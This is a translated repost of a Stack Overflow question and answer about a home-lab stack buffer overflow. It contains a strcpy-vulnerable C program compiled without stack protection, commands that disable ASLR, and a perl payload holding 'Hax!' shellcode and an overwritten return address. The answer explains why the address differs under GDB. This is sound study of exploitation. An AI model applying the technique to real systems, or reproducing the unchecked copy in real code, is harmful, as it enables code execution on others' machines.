gpt4 book ai didi

c - 堆栈缓冲区溢出 : Works on GDB, 不在它之外

转载 作者:太空狗 更新时间:2023-10-29 17:13:48 26 4
gpt4 key购买 nike

很久以前我就读到过 Stack located Buffer Overflows,但决定设置一个虚拟机并在实践中实际看到它们。

以下代码是易受攻击的程序:

#include<string.h>

void go(char *data){
char name[64];

strcpy(name, data);
}

int main(int argc, char **argv){
go(argv[1]);
}

它是使用 GCC 上的 -zexecstack-fno-stack-protector 选项编译的,以允许堆栈中的代码可执行并禁用内置程序堆栈溢出保护(“金丝雀”值)。

gcc vuln.c -o vuln -zexecstack -fno-stack-protector -g

然后我用GDB找出name在栈上的内存位置,找到如下地址:0x7fffffffdc10

因为我的虚拟机有最新的 linux 版本,我不得不通过运行禁用 ASLR(地址空间布局随机化):sudo sh -c "echo 0 >/proc/sys/kernel/randomize_va_space"sudo sysctl -w kernel.randomize_va_space=0

shellcode 取 self 在网上找到的一篇关于 Stack Smashing 的文章,并通过 Perl 脚本提供给程序:

perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'

作为 shellcode 的前 45 个字节(应该在屏幕上写“Hax!”),一些额外的 27 个“A”字节用于将指针放在正确的位置,最后是小端字节序中有效负载的起始地址。

问题是:

在GDB上运行程序时,通过:

gdb vuln
>run `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

我可以运行 shellcode 和“Hax!”输出。

当尝试在 GDB 之外运行程序时

./vuln `perl -e 'print "\xeb\x22\x48\x31\xc0\x48\x31\xff\x48\x31\xd2\x48\xff\xc0\x48\xff\xc7\x5e\x48\x83\xc2\x04\x0f\x05\x48\x31\xc0\x48\x83\xc0\x3c\x48\x31\xff\x0f\x05\xe8\xd9\xff\xff\xff\x48\x61\x78\x21" . "A"x27 . "\x10\xdc\xff\xff\xff\x7f"'`

我收到一个 Illegal instruction (core dumped) 错误而不是“Hax!”输出。

我一直在绞尽脑汁想找出造成这种不同行为的原因。显然 GDB 默认禁用 ASLR,但我也通过内核上的 sysctl 禁用了它。内核会忽略 kernel.randomize_va_space 变量吗?或者也许内存地址在 GDB 和实际进程中是不同的,即使是静态的?或者也许真正的进程实际上正在运行 shellcode,但是 GDB 忽略/绕过的实际进程出了点问题?

有什么可能是原因的想法吗?

最佳答案

阅读此答案 (https://stackoverflow.com/a/17775966/6765863) 后,我更改了一些尝试执行堆栈缓冲区溢出的尝试。

首先,我在 GDB 测试和常规二进制测试中使用了上述答案 (env -i) 中建议的清晰环境。在 GDB 上,我不得不进一步运行命令 unset env LINESunset env COLUMNS彻底清除 GDB 环境。

其次,我使用了可执行文件的完整路径,以确保 argv[0]变量在两个测试中是相同的,不影响有效负载地址。

即使在这些步骤之后,我仍然只能在 GDB 版本上命中有效载荷。所以我做了一个代码的“调试”版本,我会在其中打印有效负载的内存地址(这将是函数“go”上的“名称”数组地址)和argv[0]的地址。和 argv[1] .最终代码如下:

#include<string.h>

void go(char *data){
char name[64];
printf("Name: %p\n",name);
strcpy(name, data);
}

int main(int argc, char **argv){
printf("Argv[0]: %p\n",argv[0]);
printf("Argv[1]: %p\n",argv[1]);
go(argv[1]);
}

我知道我应该明确包含 stdio.h(我的错!)。我不知道是否添加 #include<stdio.h>会改变内存地址上的任何东西(不要这样认为,因为它是一个预处理器调用,编译器可能以相同的方式调用它,但在所有调试之后我不想冒险如果该程序无论如何都有效)。

无论如何,我注意到 GDB 测试和常规测试中的地址有点不同。更具体地说,有效载荷地址有一个 +0x40 偏移量(64 字节)。更改 Perl 脚本以实际命中该地址足以使其在 GDB 之外工作。

我仍然不确定堆栈上有什么不同,但整个问题是两个测试中的精确地址不匹配。如果有人知道 GDB 测试中那些额外的 64 字节是什么,我很乐意将其添加到我的答案中!

关于c - 堆栈缓冲区溢出 : Works on GDB, 不在它之外,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39187195/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com